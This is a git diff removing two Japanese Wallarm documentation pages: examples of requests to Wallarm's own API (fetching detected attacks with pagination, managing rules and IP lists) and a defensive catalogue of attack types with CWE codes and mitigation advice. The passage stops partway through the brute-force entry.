a/docs/latest-ja/api/request-examples.md b/docs/latest-ja/api/request-examples.md deleted file mode 100644 index 1ef54f5988..0000000000 --- a/docs/latest-ja/api/request-examples.md +++ /dev/null @@ -1,240 +0,0 @@ -[access-wallarm-api-docs]: overview.md#your-own-api-client -[application-docs]: ../user-guides/settings/applications.md - -# Wallarm APIリクエスト例 - -以下はWallarm APIの使用例です。コード例は[US cloud](https://apiconsole.us1.wallarm.com/)または[EU cloud](https://apiconsole.eu1.wallarm.com/)向けのAPI Reference UIでも生成できます。経験豊富なユーザーは、ブラウザのDeveloper console（“Network”タブ）を使用して、WallarmアカウントのUIがパブリックAPIからデータを取得するためにどのAPIエンドポイントとリクエストを使用しているかを素早く把握できます。Developer consoleの開き方は、公式ブラウザドキュメント（[Safari](https://support.apple.com/guide/safari/use-the-developer-tools-in-the-develop-menu-sfri20948/mac)、[Chrome](https://developers.google.com/web/tools/chrome-devtools/)、[Firefox](https://developer.mozilla.org/en-US/docs/Tools)、[Vivaldi](https://help.vivaldi.com/article/developer-tools/)）を参照してください。 - -## 直近24時間に検出された攻撃の先頭50件を取得する - -`TIMESTAMP`は、24時間前の日付を[UNIXタイムスタンプ](https://www.unixtimestamp.com/)形式に変換した値に置き換えてください。 - ---8<-- "../include/api-request-examples/get-attacks-en.md" - -## 大量の攻撃（100件以上）を取得する - -100件以上のレコードを含む攻撃やヒットの集合は、パフォーマンスを最適化するため、一度に大きなデータセットを取得するのではなく、小さな単位に分割して取得するのが最適です。該当するWallarm APIエンドポイントは、1ページあたり100件のカーソルベースページネーションをサポートします。 - -この手法では、データセット内の特定の項目を指すポインタを返し、後続のリクエストではそのポインタ以降の結果をサーバーが返します。カーソルページネーションを有効にするには、リクエストパラメータに"paging": trueを含めてください。 - -以下は、カーソルページネーションを使用して以降に検出されたすべての攻撃を取得するAPI呼び出し例です。 - -=== "EU Cloud" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "US Cloud" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` - -このリクエストは、最新から古い順に並べられた最新100件の攻撃情報を返します。加えて、レスポンスには次の100件へのポインタを含む`cursor`パラメータが含まれます。 - -次の100件の攻撃を取得するには、前回と同じリクエストを使用し、前回のレスポンスからコピーしたポインタ値を`cursor`パラメータとして含めてください。これにより、APIは次の100件の返却開始位置を把握できます。例: - -=== "EU Cloud" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "US Cloud" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` - -さらに続きのページを取得するには、前回のレスポンスからコピーした値を`cursor`パラメータに含めたリクエストを実行してください。 - -以下は、カーソルページングを使用して攻撃を取得するPythonコード例です。 - -=== "EU Cloud" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX時刻 - - url = "https://api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` -=== "US Cloud" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX時刻 - - url = "https://us1.api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "X-WallarmAPI-Secret": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` - -## 直近24時間に確定したインシデントの先頭50件を取得する - -このリクエストは直前の攻撃一覧の例と非常によく似ていますが、このリクエストには"`!vulnid`: null"の項目が追加されています。この項目は、脆弱性IDが指定されていない攻撃をすべて無視するようAPIに指示します。システムはこれによって攻撃とインシデントを区別します。 - -`TIMESTAMP`は、24時間前の日付を[UNIXタイムスタンプ](https://www.unixtimestamp.com/)形式に変換した値に置き換えてください。 - ---8<-- "../include/api-request-examples/get-incidents-en.md" - -## 直近24時間におけるステータス"active"の脆弱性の先頭50件を取得する - -`TIMESTAMP`は、24時間前の日付を[UNIXタイムスタンプ](https://www.unixtimestamp.com/)形式に変換した値に置き換えてください。 - ---8<-- "../include/api-request-examples/get-vulnerabilities.md" - -## 構成済みのルールをすべて取得する - ---8<-- "../include/api-request-examples/get-all-configured-rules.md" - -## すべてのルールの条件のみを取得する - ---8<-- "../include/api-request-examples/get-conditions.md" - -## 特定の条件に紐づくルールを取得する - -特定の条件を指し示すにはそのIDを使用します。IDはすべてのルールの条件をリクエストするときに取得できます（上記参照）。 - ---8<-- "../include/api-request-examples/get-rules-by-condition-id.md" - -## `/my/api/*`に送信されるすべてのリクエストをブロックする仮想パッチを作成する - ---8<-- "../include/api-request-examples/create-rule-en.md" - -## 特定のアプリケーションインスタンスID向けに`/my/api/*`に送信されるすべてのリクエストをブロックする仮想パッチを作成する - -このリクエストを送信する前に、アプリケーションを[構成](../user-guides/settings/applications.md)しておく必要があります。既存のアプリケーションのIDを`action.point[instance].value`に指定してください。 - ---8<-- "../include/api-request-examples/create-rule-for-app-id.md" - -## `X-FORWARDED-FOR`ヘッダーの特定の値を持つリクエストを攻撃として扱うルールを作成する - -次のリクエストは、[正規表現に基づくカスタム攻撃インジケーター](../user-guides/rules/regex-rule.md) `^(~(44[.]33[.]22[.]11))$`を作成します。 - -MY.DOMAIN.COMへのリクエストに`X-FORWARDED-FOR: 44.33.22.11`というHTTPヘッダーがある場合、Wallarmノードはそれらをスキャナー攻撃と見なし、対応する[フィルタリングモード](../admin-en/configure-wallarm-mode.md)が設定されていれば攻撃をブロックします。 - ---8<-- "../include/api-request-examples/create-rule-scanner.md" - -## 特定のアプリケーションに対してフィルタリングモードをmonitoringに設定するルールを作成する - -次のリクエストは、IDが`3`の[アプリケーション](../user-guides/settings/applications.md)宛てのトラフィックをmonitoringモードで[フィルタリングするようノードを設定するルール](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode)を作成します。 - ---8<-- "../include/api-request-examples/create-filtration-mode-rule-for-app.md" - -## IDでルールを削除する - -[構成済みのルールをすべて取得する](#get-all-configured-rules)際に、削除したいルールIDをコピーできます。また、ルール作成リクエストのレスポンスにも、`id`レスポンスパラメータとしてルールIDが返されています。 - ---8<-- "../include/api-request-examples/delete-rule-by-id.md" - -## IPリストオブジェクトの取得・追加・削除のためのAPI呼び出し - -以下に、[IPリスト](../user-guides/ip-lists/overview.md)オブジェクトを取得、追加、削除するためのAPI呼び出し例を示します。 - -### APIリクエストパラメータ - -IPリストを読み取り・変更するAPIリクエストに渡すパラメータ: - ---8<-- "../include/api-request-examples/ip-list-request-params.md" - -### `.csv`ファイルからのエントリをリストに追加する - -`.csv`ファイル内のIPまたはサブネットをリストに追加するには、次のbashスクリプトを使用してください。 - ---8<-- "../include/api-request-examples/add-ips-to-lists-from-file.md" - -### 単一のIPまたはサブネットをリストに追加する - ---8<-- "../include/api-request-examples/add-some-ips-to-lists.md" - -### 複数の国をリストに追加する - ---8<-- "../include/api-request-examples/add-some-countries-to-lists.md" - -### 複数のプロキシサービスをリストに追加する - ---8<-- "../include/api-request-examples/add-some-proxies-to-lists.md" - -### IPリストからオブジェクトを削除する - -オブジェクトはIDでIPリストから削除します。 - -オブジェクトIDを取得するには、IPリストの内容をリクエストし、レスポンスから対象オブジェクトの`objects.id`をコピーしてください。 - ---8<-- "../include/api-request-examples/get-ip-list-contents.md" - -オブジェクトIDが分かったら、次のリクエストを送信してリストから削除してください。 - ---8<-- "../include/api-request-examples/delete-object-from-ip-list.md" - -削除リクエストでIDの配列を渡すことで、複数のオブジェクトを一度に削除できます。 \ No newline at end of file diff --git a/docs/latest-ja/attacks-vulns-list.md b/docs/latest-ja/attacks-vulns-list.md deleted file mode 100644 index 48a54d6816..0000000000 --- a/docs/latest-ja/attacks-vulns-list.md +++ /dev/null @@ -1,1117 +0,0 @@ -# 攻撃および脆弱性の種類 - -[cwe-20]: https://cwe.mitre.org/data/definitions/20.html -[cwe-22]: https://cwe.mitre.org/data/definitions/22.html -[cwe-78]: https://cwe.mitre.org/data/definitions/78.html -[cwe-79]: https://cwe.mitre.org/data/definitions/79.html -[cwe-88]: https://cwe.mitre.org/data/definitions/88.html -[cwe-89]: https://cwe.mitre.org/data/definitions/89.html -[cwe-90]: https://cwe.mitre.org/data/definitions/90.html -[cwe-93]: https://cwe.mitre.org/data/definitions/93.html -[cwe-94]: https://cwe.mitre.org/data/definitions/94.html -[cwe-113]: https://cwe.mitre.org/data/definitions/113.html -[cwe-96]: https://cwe.mitre.org/data/definitions/96.html -[cwe-97]: https://cwe.mitre.org/data/definitions/97.html -[cwe-150]: https://cwe.mitre.org/data/definitions/150.html -[cwe-159]: https://cwe.mitre.org/data/definitions/159.html -[cwe-200]: https://cwe.mitre.org/data/definitions/200.html -[cwe-209]: https://cwe.mitre.org/data/definitions/209.html -[cwe-215]: https://cwe.mitre.org/data/definitions/215.html -[cwe-288]: https://cwe.mitre.org/data/definitions/288.html -[cwe-307]: https://cwe.mitre.org/data/definitions/307.html -[cwe-352]: https://cwe.mitre.org/data/definitions/352.html -[cwe-409]: https://cwe.mitre.org/data/definitions/409.html -[cwe-425]: https://cwe.mitre.org/data/definitions/425.html -[cwe-444]: https://cwe.mitre.org/data/definitions/444.html -[cwe-511]: https://cwe.mitre.org/data/definitions/511.html -[cwe-521]: https://cwe.mitre.org/data/definitions/521.html -[cwe-538]: https://cwe.mitre.org/data/definitions/538.html -[cwe-541]: https://cwe.mitre.org/data/definitions/541.html -[cwe-548]: https://cwe.mitre.org/data/definitions/548.html -[CWE-598]: https://cwe.mitre.org/data/definitions/598.html -[cwe-601]: https://cwe.mitre.org/data/definitions/601.html -[cwe-611]: https://cwe.mitre.org/data/definitions/611.html -[cwe-776]: https://cwe.mitre.org/data/definitions/776.html -[cwe-799]: https://cwe.mitre.org/data/definitions/799.html -[cwe-639]: https://cwe.mitre.org/data/definitions/639.html -[cwe-918]: https://cwe.mitre.org/data/definitions/918.html -[cwe-943]: https://cwe.mitre.org/data/definitions/943.html -[cwe-1270]: https://cwe.mitre.org/data/definitions/1270.html -[cwe-1294]: https://cwe.mitre.org/data/definitions/1294.html -[cwe-937]: https://cwe.mitre.org/data/definitions/937.html -[cwe-1035]: https://cwe.mitre.org/data/definitions/1035.html -[cwe-1104]: https://cwe.mitre.org/data/definitions/1104.html - -[link-cwe]: https://cwe.mitre.org/ - -[link-owasp-xxe-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html -[link-owasp-xss-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html -[link-owasp-idor-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html -[link-owasp-ssrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html -[link-owasp-auth-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html -[link-owasp-ldapi-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html -[link-owasp-sqli-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html -[link-owasp-inputval-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html - -[link-ptrav-mitigation]: https://owasp.org/www-community/attacks/Path_Traversal -[link-wl-process-time-limit-directive]: admin-en/configure-parameters-en.md#wallarm_process_time_limit - -[doc-vpatch]: user-guides/rules/vpatch-rule.md - -[anchor-brute]: #brute-force-attack -[anchor-rce]: #remote-code-execution-rce -[anchor-ssrf]: #serverside-request-forgery-ssrf - -[link-imap-wiki]: https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol -[link-smtp-wiki]: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol -[ssi-wiki]: https://en.wikipedia.org/wiki/Server_Side_Includes -[link-owasp-csrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html - -この記事では、Wallarmが検出できる攻撃や脆弱性を一覧し説明します。これには[OWASP Top 10](https://owasp.org/www-project-top-ten/)や[OWASP API Top 10](https://owasp.org/www-project-api-security/)で提示されているものも含まれます。リスト内のほとんどの脆弱性や攻撃には、ソフトウェアの弱点種別の一覧、すなわち[Common Weakness Enumeration][link-cwe]（CWE）から1つ以上のコードが付与されています。 - -!!! info "設定は不要です" - 攻撃/脆弱性の説明に特定の設定が記載されていない場合、Wallarmはデフォルトで、あなた側の**いかなる設定も不要で**当該攻撃/脆弱性を検出し、[filtration mode](admin-en/configure-wallarm-mode.md)に従って処理します。 - -## 攻撃の種類 - -技術的には、Wallarmが検出できる攻撃は次の2種類に大別されます。 - -* **入力バリデーション攻撃**: リクエストに送信される特定の記号の組み合わせが特徴です（[SQLインジェクション](#sql-injection)、[クロスサイトスクリプティング](#crosssite-scripting-xss)、[リモートコード実行](#remote-code-execution-rce)、[パストラバーサル](#path-traversal)など）。 - - 入力バリデーション攻撃を検出するには、リクエストの構文解析、すなわち特定の記号の組み合わせを検出するためのパースが必要です。 - - Wallarmは、SVG、JPEG、PNG、GIF、PDFなどのバイナリファイルを含め、リクエストのあらゆる部分にある入力バリデーション攻撃を検出します。 - - Wallarmは入力バリデーション攻撃および関連する脆弱性を**自動検出**し、[filtration mode](admin-en/configure-wallarm-mode.md)に従ってアクションを実行します。デフォルト動作は、あなたが作成したカスタム[Rules](user-guides/rules/rules.md)や[Triggers](user-guides/triggers/triggers.md)によって変更される場合があります。 - -* **振る舞いベースの攻撃**: 特定のリクエスト構文、**および/または** リクエスト数とリクエスト間時間の特定の相関が特徴です（[ブルートフォース](#brute-force-attack)、[フォースドブラウジング](#forced-browsing)、[BOLA](#broken-object-level-authorization-bola)、[API悪用](#suspicious-api-activity)、[クレデンシャルスタッフィング](#credential-stuffing)など）。 - - 振る舞いベースの攻撃を検出するには、リクエストの構文解析に加え、リクエスト数とリクエスト間時間の相関分析が必要です。 - - - -## DDoS攻撃 - -DDoS（Distributed Denial of Service）攻撃は、複数のソースからのトラフィックでターゲットのウェブサイトやAPIを圧倒して利用不能にしようとするタイプのサイバー攻撃です。 - -攻撃者がDDoS攻撃を実行するために使える手法は数多く、用いる方法やツールは大きく異なります。サーバーに大量の接続要求を送るなどの低レベルな手法を用いる比較的単純な攻撃もあれば、IPアドレスのスプーフィングやネットワークインフラの脆弱性悪用などの複雑な戦術を用いる高度な攻撃もあります。 - -[リソースをDDoSから保護する方法に関するガイドを読む](admin-en/configuration-guides/protecting-against-ddos.md) - -## サーバーサイド攻撃 - -### SQLインジェクション - -**脆弱性/攻撃** - -**CWEコード:** [CWE-89][cwe-89] - -**Wallarmコード:** `sqli` - -**説明:** - -この攻撃に対する脆弱性は、ユーザー入力のフィルタリングが不十分であることが原因で発生します。SQLインジェクション攻撃は、特別に細工したクエリをSQLデータベースに注入して実行します。 - -SQLインジェクション攻撃により、攻撃者は[SQLクエリ](https://www.wallarm.com/what/structured-query-language-injection-sqli-part-1)に任意のSQLコードを注入できます。これにより機密データの読み取りや改ざん、さらにはDBMS管理者権限の取得につながる可能性があります。 - -**Wallarmによる保護に加えて:** - -Wallarmによる保護措置に加え、次の推奨事項に従うことができます。 - -* すべてのAPIリクエストパラメータをサニタイズおよびフィルタリングし、悪意のある要素が実行されないようにします。 -* [OWASP SQL Injection Prevention Cheat Sheet][link-owasp-sqli-cheatsheet]の推奨事項を適用します。 - -### NoSQLインジェクション - -**脆弱性/攻撃** - -**CWEコード:** [CWE-943][cwe-943] - -**Wallarmコード:** `nosqli` - -**説明:** - -この攻撃に対する脆弱性は、ユーザー入力のフィルタリングが不十分であることが原因で発生します。NoSQLインジェクション攻撃は、特別に細工したクエリをNoSQLデータベースに注入して実行します。 - -**Wallarmによる保護に加えて:** - -* すべてのユーザー入力をサニタイズおよびフィルタリングし、入力中の悪意のある要素が実行されないようにします。 - -### リモートコード実行（RCE） - -**脆弱性/攻撃** - -**CWEコード:** [CWE-78][cwe-78], [CWE-94][cwe-94] ほか - -**Wallarmコード:** `rce` - -**説明:** - -攻撃者はあなたのAPIへのリクエストに悪意のあるコードを注入でき、サーバー上でそのスクリプトが実行される可能性があります。また、脆弱なアプリケーションが動作しているOS上で特定のコマンドを実行しようとする場合があります。 - -RCE攻撃が成功すると、攻撃者は以下を含む広範な行為を実行できる可能性があります。 - -* 脆弱なデータの機密性、可用性、完全性の侵害 -* アプリケーションが稼働するOSやサーバーの乗っ取り -* その他の可能な行為 - -この脆弱性は、ユーザー入力の検証およびパースが正しくないことが原因で発生します。 - -**Wallarmによる保護に加えて:** - -* すべてのユーザー入力をサニタイズおよびフィルタリングし、入力中の要素が実行されないようにします。 - -### SSIインジェクション - -**攻撃** - -**CWEコード:** [CWE-96][cwe-96], [CWE-97][cwe-97] - -**Wallarmコード:** `ssi` - -**説明:** - -[SSI（Server Side Includes）][ssi-wiki]は、Webサーバー上のWebページに1つ以上のファイルの内容を取り込むのに最も有用な、単純なインタプリタ型サーバーサイドスクリプト言語です。ApacheおよびNGINXのWebサーバーでサポートされています。 - -SSIインジェクションにより、HTMLページに悪意のあるペイロードを注入したり、任意のコードをリモートで実行したりして、アプリケーションを悪用できます。アプリケーションで使用されているSSIを操作する、あるいはユーザー入力フィールドを通じてSSIの利用を強制することで悪用される可能性があります。 - -**例:** - -攻撃者はメッセージ出力を変更してユーザーの行動を変えることができます。SSIインジェクションの例: - -```bash - -``` - -**Wallarmによる保護に加えて:** - -* すべてのユーザー入力をサニタイズおよびフィルタリングし、入力中の悪意のあるペイロードが実行されないようにします。 -* [OWASP Input Validation Cheatsheet][link-owasp-inputval-cheatsheet]の推奨事項を適用します。 - -### サーバーサイドテンプレートインジェクション（SSTI） - -**脆弱性/攻撃** - -**CWEコード:** [CWE-94][cwe-94], [CWE-159][cwe-159] - -**Wallarmコード:** `ssti` - -**説明:** - -SSTIに対して脆弱なWebサーバー上のユーザー入力フォームに、攻撃者が実行可能なコードを注入すると、そのコードがWebサーバーによってパースおよび実行されます。 - -攻撃が成功すると、脆弱なWebサーバーが完全に侵害される可能性があり、攻撃者が任意のリクエストを実行したり、サーバーのファイルシステムを探索したり、条件によっては任意のコードをリモートで実行したり（詳細は[RCE攻撃][anchor-rce]を参照）、その他多くの行為が可能になります。 - -この脆弱性は、ユーザー入力の検証およびパースが正しくないことに起因します。 - -**Wallarmによる保護に加えて:** - -* すべてのユーザー入力をサニタイズおよびフィルタリングし、入力中の要素が実行されないようにします。 - -### LDAPインジェクション - -**脆弱性/攻撃** - -**CWEコード:** [CWE-90][cwe-90] - -**Wallarmコード:** `ldapi` - -**説明:** - -LDAPインジェクションは、攻撃者がLDAPサーバーへのリクエストを改ざんすることでLDAP検索フィルターを変更できる攻撃の総称です。 - -LDAPインジェクション攻撃が成功すると、LDAPユーザーやホストに関する機密データの読み取りおよび書き込み操作にアクセスできる可能性があります。 - -この脆弱性は、ユーザー入力の検証およびパースが正しくないことが原因で発生します。 - -**Wallarmによる保護に加えて:** - -Wallarmによる保護措置に加え、次の推奨事項に従うことができます。 - -* アプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングし、入力中の要素が実行されないようにします。 -* [OWASP LDAP Injection Prevention Cheat Sheet][link-owasp-ldapi-cheatsheet]の推奨事項を適用します。 - -### メールインジェクション - -**攻撃** - -**CWEコード:** [CWE-20][cwe-20], [CWE-150][cwe-150], [CWE-88][cwe-88] - -**Wallarmコード:** `mail_injection` - -**説明:** - -メールインジェクションは、アプリケーションのお問い合わせフォーム経由で送られ、標準的なメールサーバーの動作を変更することを目的とした悪意のある[IMAP][link-imap-wiki]/[SMTP][link-smtp-wiki]式です。 - -この攻撃に対する脆弱性は、お問い合わせフォームに入力されたデータの検証が不十分であることが原因で発生します。メールインジェクションにより、メールクライアントの制限をバイパスし、ユーザーデータを盗み、スパム送信が可能になります。 - -**Wallarmによる保護に加えて:** - -* すべてのユーザー入力をサニタイズおよびフィルタリングし、入力中の悪意のあるペイロードが実行されないようにします。 -* [OWASP Input Validation Cheatsheet][link-owasp-inputval-cheatsheet]の推奨事項を適用します。 - -### サーバーサイドリクエストフォージェリ（SSRF） - -**脆弱性/攻撃** - -**CWEコード:** [CWE-918][cwe-918] - -**Wallarmコード:** `ssrf` - -**説明:** - -SSRF攻撃が成功すると、攻撃者が攻撃対象のWebサーバーになりすましてリクエストを送信できる可能性があります。これにより、使用中のネットワークポートの露呈、内部ネットワークのスキャン、認可のバイパスにつながる恐れがあります。 - -**Wallarmによる保護に加えて:** - -* すべてのリクエストパラメータをサニタイズおよびフィルタリングし、入力中の悪意のある要素が実行されないようにします。 -* [OWASP SSRF Prevention Cheat Sheet][link-owasp-ssrf-cheatsheet]の推奨事項を適用します。 - -### パストラバーサル - -**脆弱性/攻撃** - -**CWEコード:** [CWE-22][cwe-22] - -**Wallarmコード:** `ptrav` - -**説明:** - -パストラバーサル攻撃により、攻撃者はリクエストパラメータを通じて既存のパスを改ざんし、脆弱なWebアプリケーションやAPIが存在するファイルシステム内の機密データを含むファイルやディレクトリにアクセスできます。 - -この攻撃に対する脆弱性は、ユーザーがファイルやディレクトリを要求する際のユーザー入力のフィルタリングが不十分であることに起因します。 - -**Wallarmによる保護に加えて:** - -Wallarmによる保護措置に加え、次の推奨事項に従うことができます。 - -* すべてのリクエストパラメータをサニタイズおよびフィルタリングし、入力中の悪意のある要素が実行されないようにします。 -* この種の攻撃を緩和するための追加の推奨事項は[こちら][link-ptrav-mitigation]にあります。 - -### XML外部実体（XXE）への攻撃 - -**脆弱性/攻撃** - -**CWEコード:** [CWE-611][cwe-611] - -**Wallarmコード:** `xxe` - -**説明:** - -XXE脆弱性により、攻撃者はXMLドキュメントに外部実体を注入し、それがXMLパーサーによって評価され、ターゲットWebサーバー上で実行される可能性があります。 - -攻撃が成功すると、攻撃者は次のことが可能になります。 - -* 機密データへのアクセス -* 内部データネットワークのスキャン -* Webサーバー上のファイルの読み取り -* [SSRF][anchor-ssrf]攻撃の実行 -* DoS（サービス拒否）攻撃の実行 - -この脆弱性は、アプリケーションにおけるXML外部実体のパースに制限がないことが原因で発生します。 - -**Wallarmによる保護に加えて:** - -* ユーザーから提供されたXMLドキュメントを扱う際は、XML外部実体のパースを無効化します。 -* [OWASP XXE Prevention Cheat Sheet][link-owasp-xxe-cheatsheet]の推奨事項を適用します。 - -### リソーススキャン - -**攻撃** - -**CWEコード:** なし - -**Wallarmコード:** `scanner` - -**説明:** - -このHTTPリクエストが保護対象リソースを攻撃またはスキャンすることを目的としたサードパーティ製スキャナーの活動の一部であると判断される場合、`scanner`コードが付与されます。Wallarm Scannerによるリクエストはリソーススキャン攻撃とは見なされません。この情報は後にこれらのサービスへの攻撃に利用される可能性があります。 - -**Wallarmによる保護に加えて:** - -* IPアドレスのallowlisting/denylistingと認証/認可機構を併用し、ネットワーク境界のスキャン可能性を制限します。 -* ネットワーク境界をファイアウォールの背後に配置し、スキャン対象面を最小化します。 -* サービスの運用に必要十分なポートのみを開放します。 -* ネットワークレベルでICMPプロトコルの使用を制限します。 -* ITインフラのハード・ソフトウェアを定期的に更新します。 - -## クライアントサイド攻撃 - -### クロスサイトスクリプティング（XSS） - -**脆弱性/攻撃** - -**CWEコード:** [CWE-79][cwe-79] - -**Wallarmコード:** `xss` - -**説明:** - -クロスサイトスクリプティング攻撃により、攻撃者はユーザーのブラウザ内で準備した任意コードを実行できます。 - -XSS攻撃にはいくつかのタイプがあります。 - -* 永続型（Stored）XSS: 悪意のあるコードがWebアプリケーションのページにあらかじめ埋め込まれている場合。 - - Webアプリケーションが永続型XSSに脆弱な場合、攻撃者は悪意のあるコードをWebアプリケーションのHTMLページに注入でき、このコードは感染したページを要求した任意のユーザーのブラウザで永続的に実行されます。 - -* 反射型（Reflected）XSS: 攻撃者が特別に細工したリンクをユーザーに開かせる場合。 - -* DOMベースXSS: Webアプリケーションのページに組み込まれたJavaScriptコード断片に欠陥があり、入力をパースしてJavaScriptコマンドとして実行してしまう場合。 - -上記のいずれかの脆弱性を悪用すると、任意のJavaScriptコードが実行されます。XSS攻撃が成功すると、攻撃者はユーザーのセッションや認証情報を盗み、ユーザーになりすましてリクエストを送信するなどの悪意ある行為が可能になります。 - -この種の脆弱性は、ユーザー入力の検証およびパースが正しくないことに起因します。 - -**Wallarmによる保護に加えて:** - -* アプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングし、入力中の要素が実行されないようにします。 -* Webアプリケーションのページを生成する際は、動的に生成される全ての要素をサニタイズしエスケープします。 -* [OWASP XSS Prevention Cheat Sheet][link-owasp-xss-cheatsheet]の推奨事項を適用します。 - -### オープンリダイレクト - -**脆弱性/攻撃** - -**CWEコード:** [CWE-601][cwe-601] - -**Wallarmコード:** `redir` - -**説明:** - -攻撃者は、正規のWebアプリケーションを介してユーザーを悪意のあるWebページにリダイレクトするためにオープンリダイレクト攻撃を利用できます。 - -この攻撃に対する脆弱性は、URL入力のフィルタリングが正しくないことが原因で発生します。 - -**Wallarmによる保護に加えて:** - -* アプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングし、入力中の要素が実行されないようにします。 -* すべての保留中のリダイレクトについてユーザーに通知し、明示的な許可を求めます。 - -### CRLFインジェクション - -**脆弱性/攻撃** - -**CWEコード:** [CWE-93][cwe-93] - -**Wallarmコード:** `crlf` - -**説明:** - -CRLFインジェクションは、攻撃者がサーバー（例: HTTPリクエスト）へのリクエストにキャリッジリターン（CR）とラインフィード（LF）の文字を注入できる攻撃の総称です。 - -他の要因と組み合わせることで、こうしたCR/LF文字の注入はさまざまな脆弱性の悪用に寄与します（例: HTTP Response Splitting [CWE-113][cwe-113]、HTTP Response Smuggling [CWE-444][cwe-444]）。 - -CRLFインジェクション攻撃が成功すると、ファイアウォールのバイパス、キャッシュポイズニング、正規のWebページの置換、オープンリダイレクト攻撃の実行など、多数の行為が可能になります。 - -この脆弱性は、ユーザー入力の検証およびパースが正しくないことが原因で発生します。 - -**Wallarmによる保護に加えて:** - -* すべてのユーザー入力をサニタイズおよびフィルタリングし、入力中の要素が実行されないようにします。 - -## 列挙攻撃 - -列挙攻撃は、攻撃者がさまざまな入力を体系的に試し応答を観察することで、ターゲットのシステム、ネットワーク、またはアプリケーションに関する有効な情報を収集しようとするタイプのサイバー攻撃です。目的は、システム内に存在する有効なユーザー名、メールアドレス、アカウント名、リソース、サービスなどを特定することです。 - -### 汎用列挙攻撃 - -**攻撃** - -**Wallarmコード:** `Enum` - -**説明:** - -アプリケーションの通常は露出していないあらゆるデータ（ユーザーアカウント、名前、メール、トークン、クレデンシャルの組、システム構成、サービス、各種パラメータ）の列挙を試みる行為です。 - -**必要な設定:** - -Wallarmは、1つ以上の[列挙対策コントロール](api-protection/enumeration-attack-protection.md)（Advanced API Securityの[サブスクリプション](about-wallarm/subscription-plans.md#core-subscription-plans)が必要）を有効にしている場合にのみ、汎用列挙攻撃を検出および緩和します。 - -[デフォルトのコントロール](api-protection/enumeration-attack-protection.md#generic-enumeration)は監視モード（新規クライアント）で提供されるか、無効です（必要に応じて有効化してください）。 - -**Wallarmによる保護に加えて:** - -* 一定期間あたりのAPIまたは特定エンドポイントへのリクエスト数を制限します。 -* 一定期間あたりのAPIまたは特定エンドポイントへの認証/認可試行回数を制限します。 -* 一定回数の失敗後は新たな認証/認可試行をブロックします。 -* アプリケーションが稼働するサーバー上のファイルやディレクトリへのアクセスは、アプリケーションのスコープ内に限定します。 - -### ブルートフォース攻撃 - -**攻撃** - -**CWEコード:** [CWE-307][cwe-307], [CWE-521][cwe-521], [CWE-799][cwe-799] - -**Wallarmコード:** `brute`（**Attacks**内）、`Brute force`（**API Sessions**内） - -**説明:** - -定義済みのペイロードを含む大量のリクエストがサーバーに送られるとブルートフォース攻撃が発生します。ペイロードは何らかの方法で生成されるか、辞書から取得されます。サーバーの応答を分析し、ペイロード内データの正しい組み合わせを見つけます。 - -ブルートフォース攻撃が成功すると、認証・認可機構のバイパスや、隠しリソース（ディレクトリ、ファイル、サイトの一部など）の露呈につながり、その後の悪意のある行為が可能になる恐れがあります。 - -**必要な設定:** - -Wallarmは以下のいずれかが有効な場合にのみ、ブルートフォース攻撃を検出・緩和します。 - -* [列挙に対する汎用保護](#generic-enumeration-attack) -* 